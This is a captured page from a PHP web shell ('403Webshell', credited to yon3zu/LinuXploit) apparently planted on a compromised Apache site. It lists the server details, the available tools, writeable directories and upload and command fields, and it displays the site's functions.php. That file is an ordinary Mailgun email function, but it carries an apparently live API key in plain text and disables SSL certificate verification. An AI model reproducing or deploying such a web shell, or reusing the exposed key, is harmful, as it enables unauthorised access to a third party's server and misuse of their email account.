403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/hans_sites/bluffstreetexecutivesuites.com/old/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hans_sites/bluffstreetexecutivesuites.com/old/functions.php
<?php
/**
 * Sends an email using mailgun.org for tracking and stuff
 *
 * @param string $to The email address you are sending the email to
 * @param string $from The email address you are sending the email from (support@americasgotfunding.com)
 * @param string $subject The subject of the email
 * @param string $message The body of the email you are sending
 * @param boolean $is_html Is the message html. Set to false for plaintext.
 * @param string $tag A tag for tracking this email (confirmation, renewal, newsletter, etc)
 * @param string $cc A comma delimited list of emails to cc on the email
 * @param string $bcc A comma delimited list of emails to bcc on the email
 * @return object Returns an object with id (auto generated email id), message (either an error message, or a confirmation message), and status (Success or Fail)
 * */
	function mailgun_send_message($to,$from,$subject,$message,$is_html,$tag,$cc,$bcc,$site_code,$client_id) {
		$arr = explode('@',$from);
		$domain = 'mg.bluffstreetexecutivesuites.com';
		$post = array();
		$post['from'] = $from;
		$post['to'] = $to;
		$post['subject'] = $subject;
		if($is_html) {
			$plain = strip_tags(str_replace('</p',"\n</p",str_replace('<br',"\n<br",$message)));
			$post['html'] = $message;
			$post['text'] = $plain;
		} else {
			$post['text'] = $message;
		}
		if(!empty($tag)) {
			$post['o:tag'] = $tag;
		}
		if(!empty($cc)) {
			$post['cc'] = $cc;
		}
		if(!empty($bcc)) {
			$post['bcc'] = $bcc;
		}
		$ch = curl_init();
		curl_setopt($ch, CURLOPT_URL, 'https://api.mailgun.net/v3/'.$domain.'/messages');
		curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
		curl_setopt($ch, CURLOPT_USERPWD, 'api:key-99068d6d99148b8d743a828fcb233242');
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
		curl_setopt($ch, CURLOPT_TIMEOUT, 60);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
		curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
		curl_setopt($ch, CURLOPT_POSTFIELDS, $post);

		$data = curl_exec($ch);
		$info = curl_getinfo($ch);
		curl_close($ch);
		unset($ch);

		$return = json_decode($data);
		$return->status = ($info['http_code']=='200') ? 'Success' : 'Fail';

		return $return;
	}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit